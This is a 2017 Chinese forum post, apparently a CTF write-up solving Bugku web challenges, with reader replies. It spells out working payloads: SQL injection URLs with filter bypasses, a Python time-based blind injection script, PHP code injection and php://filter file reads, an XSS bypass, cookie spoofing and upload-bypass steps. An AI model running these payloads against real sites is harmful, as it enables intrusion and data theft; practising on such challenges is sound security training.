[Writeup] bugku CTF web 题wp

[复制链接]
查看21113 | 回复5 | 2017-5-11 15:07:41 | 显示全部楼层 |阅读模式

1.web2
打开是一堆滑稽的动态图片,直接F12审查元素。

get flag

2.文件上传测试
上面说请上传php文件,于是进行尝试显示非图片文件。
于是尝试上传.jpg文件很明白了,是一个上传绕过题。
进行00截断
选中%00
选择url-decode发送
成功get flag

3.计算题
再输入框中输入结果发现只能输入一个字符,说明长度被限制了
F12修改长度 输入结果提交 get flag


4.web3
一开始出现个弹窗,点击确定还是不断弹窗,于是禁止弹窗,查看页面源代码发现最后一行是个unicode编码直接在线解码就OK了

5.sql注入
练习手工注入吧
常规判断加 ' 号结果发现并没有报错,似乎是 ' 号被转义了尝试 宽字符注入  ?id=1%df'  OK成功报错
接下来就是常规手段了
http://103.238.227.13:10083/index.php?id=1%df' order by 3 %23  发现报错
http://103.238.227.13:10083/index.php?id=1%df' union select 1,2  %23 回显
暴库
http://103.238.227.13:10083/index.php?id=1%df' union select 1,database()  %23
直接注入,搜索sql5.key中的字符串
http://103.238.227.13:10083/index.php?id=1%df' union select 1,string from sql5.key where 1=1 %23

6.sql注入1
代码审计 发现所有注入关键词被过滤   但是发现这个语句
于是我们可以利用<>标签对关键词进行分割
老方法
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect 1,2%23
暴库
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect 1,database()%23
暴字段,,,,中间过程就不再叙述了
http://103.238.227.13:10087/index.php?id=1 un<>ion se<>lect hash,2 fr<>om sql3.key%23

7.你必须让他停下
打开页面不停刷新,没办法用bp拦截吧
抓包repeater  不停点go  多刷几次就出来了

8.本地包含
这道题让我们传参 hello  然后用var_dump($a)函数输出变量的值
好吧  我们传递参数闭合var_dump(
payload:http://baohan.post.bugku.com/index.php?hello=);show_source("flag.php");//
另外几种方法
http://baohan.post.bugku.com/index.php?hello=);print_r(file("./flag.php"));//
http://baohan.post.bugku.com/index.php?hello=);var_dump(file("./flag.php")); //

9.变量1
GLOBAL真是个好东西
payload:?args=GLOBAL

10.Web4
这道题考察js,这堆东西一看就是urlencode,解码之后得到
<script>
var p1 = 'function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b';
var p2 = 'aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;';
eval(unescape(p1) + unescape('54aa2' + p2));
</script>
拼凑一下67d709b2b54aa2aa648cf6e87a7114f1输入进去就能get flag

11.web5
打开源码一看就是JSFUCK
丢到控制台里报一下就出结果了

12.flag在index里
http://b.post.bugku.com/post/index.php?file=show.php
一看这个连接就没啥可以多想的了 直接读取源码   
payload:http://b.post.bugku.com/post/ind ... /resource=index.php
得到base64加密后的index.php源码 (因为题目提示在index中所以这样构造)
对base64解密即可获得flag

13.phpcms v9漏洞
论坛里有exp工具  也有大佬写出的wp自行查看就好了

14.Web6
速度要快   写个py吧
代码如下
# coding:utf-8
import requests
import base64
import re
url='http://c.bugku.com/web6/'
a=requests.session()
r=a.get(url)
FLAG=r.headers['flag']
p=re.match('(.*)(: )(.*)',base64.b64decode(FLAG))
payload={'margin':base64.b64decode(p.group(3))}
r=a.post(url,data=payload)
print(r.text)

15.cookies欺骗
http://c.bugku.com/web11/index.php?line=&filename=a2V5cy50eHQ=
首先看到filename=base64加密  对base64解密 发现是 key.txt  明白filename 可以进行读文件  将页面源码读出
line是行   filename是文件名    源码如下:

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' =>'keys.txt',
    '1' =>'index.php',
    );
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
    $file_list[2]='keys.php';
    }
if(in_array($file, $file_list)){
    $fa = file($file);
    echo $fa[$line];
    }
?>
这里发现只要cookie设置为margin就可以进入   于是利用curl 命令进行cookie、欺骗
curl -b curl -b 'margin=margin' 'http://c.bugku.com/web11/index.php?line=0&filename=a2V5cy5waHA='

16.xss
题目上说是xss注入于是简单的xss测试下吧
构造payload:http://103.238.227.13:10089/?id=<script>alert(_key_);</script>
发现没有弹窗
看看源代码发现<>被过滤了
于是想用 onclick绕过  结果发现 on这个被过滤成 o_n了  很尴尬  于是进行编码绕过
payload:\u003cimg src=1 onerror=alert(_key_)\u003e

17.各种绕过呦
代码审计 传三个参数 两个get传参 一个post传参
发先uname!=passwd  但是sha1(uname)===sh1(passwd)
注意中间是等价于   于是利用sha1漏洞  
sha1函数无法理解数组从而报错返回FALSE
构造Payload


18.web8
代码审计  好吧  php 黑魔法  php://input可以读取没有处理过的POST数据
成功绕过


19.字符?正则?
好吧一个简单的正则表达式
http://c.bugku.com/web10/?id=key1key1232131key:/1/aakeye]随便就过啦

20.考细心
刚刚打开还以为服务器错误  结果发现就是这样的  尴尬了。。。
页面上没啥信息源代码也没啥信心   好吧  看看能不能robots.txt到信息
中奖了
访问这个页面要提交参数等密码
提交什么呢 看看提示  变成admin  好吧  就这样过了

21.web15
看代码 xff厉害了   根据以前的经验判断这个点可能是个时间注入      写个py吧   感谢表弟 GHost-tty给我的PY以下就出来了    能手工的话最好手工练习以下注入   这里就不多说啦  PY如下
import requests
import string
import time
payload = string.printable
url = "http://c.bugku.com/web15/index.php"
flag = ""
for i in range(50):
    for str in payload:
        headers={"x-forwarded-for":"127.0.0.1'+"+"(select case when (binary(substring((select flag from flag) from %d for 1 ))='%s') then sleep(6) else sleep(0) end ) and '1'='1"%(i+1,str)}
        start_time = time.time()
        res = requests.get(url,headers=headers)
        if time.time()-start_time>5:
                if time.time()-start_time>5:
                        flag = flag+str
                        print flag
                        break

22.sql注入2
啊哈  这道题可把我坑惨了    说是sql注入   说是过滤了很多东西    搞得我绞尽脑汁  都没想出来如何绕过   PS:也可能是我太菜了     
是在做不出来了   没办法  用工具扫了下目录结果 发现     http://a.sql.bugku.com/web2/flag  这个链接  访问一下直接下载了个flag.txt
简直要暴打出题人了有没有

23. 求getshell
这道题是做出来了     但是是找表哥要的源码代码审计出来的  很尴尬也不知道正常情况下是怎么样的思路过这道题     
解法给大家     其他就不多说了
上传PHP5文件  用bp拦截

第一处把后面data大写
第二处改为image/jpg
然后go 就OK了


小白写的wp    求大佬无视

created by Daybreak

评分

参与人数 3银两 +70 收起 理由
Gk1911 + 50 sql注入2脑洞很大!
LoveYou + 10 赞一个!
Harry + 10 很给力!

查看全部评分

回复

使用道具 举报

匿名 010 | 2017-5-17 13:17:08 | 显示全部楼层
不错不错  阔以阔以
回复

使用道具 举报

匿名 GQW | 2017-6-8 17:46:10 | 显示全部楼层
XSS注入不太熟悉,有留意到<div id='s'></div>这块和script,但是不明白为什么用payload构造用id=
回复

使用道具 举报

daybreak | 2017-6-9 22:01:43 | 显示全部楼层
GQW 发表于 2017-6-8 17:46
XSS注入不太熟悉,有留意到这块和script,但是不明白为什么用payload构造用id=

id=是传参数
回复

使用道具 举报

匿名 looted | 2017-9-4 18:50:17 | 显示全部楼层
顶顶顶顶顶顶
回复

使用道具 举报

SC0RP1AN | 2018-3-31 15:11:39 | 显示全部楼层
楼主好,请问有没有做出孙xx的博客这道题,求分享
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

9

主题

21

帖子

74

积分

版主

Rank: 7Rank: 7Rank: 7

积分
74